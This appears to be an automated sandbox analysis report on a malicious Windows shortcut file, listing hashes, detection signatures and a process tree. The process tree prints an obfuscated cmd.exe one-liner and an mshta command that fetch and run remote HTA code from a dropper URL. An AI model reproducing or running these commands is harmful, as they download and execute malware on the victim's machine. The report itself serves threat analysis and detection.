Analysis

  • max time kernel
    58s
  • max time network
    62s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 12:17

General

  • Target
    DOC-9T1GWM.lnk
  • Size 2KB
  • Sample260817-pf3aksar6w
  • SHA256 87e864eccaba1a2f2f6b9da365a84aebda3ab6b06ff22385dd9604e025cd6b3f
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9T1GWM.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set NHXG=dbgcudfdbg&set PB=infebsjmcptinf&set mJ=windhugkytaqivbwin&set zp=winvaqywqexbamwin&set Zcu=bakkjejzwmldterlsvobak&set Xvw=tmpseqwdxmttmp&set Ufi=25m6ne&&set DCcU=xt6shtfv&&set MMT=96al5&set BCGQ=7stw&&set dICJ=t9ward&&set SIBx=1tdw&&set smQa=h@tt@p@s://ma-pd@ff@i@l@[email protected]@at@/h/[email protected]@p?r=3@9146@9FB5@D82@D@B&&start /b !Ufi:~2,1!!DCcU:~3,3!!MMT:~2,1! !smQa:@=!&&set qn=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4436

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads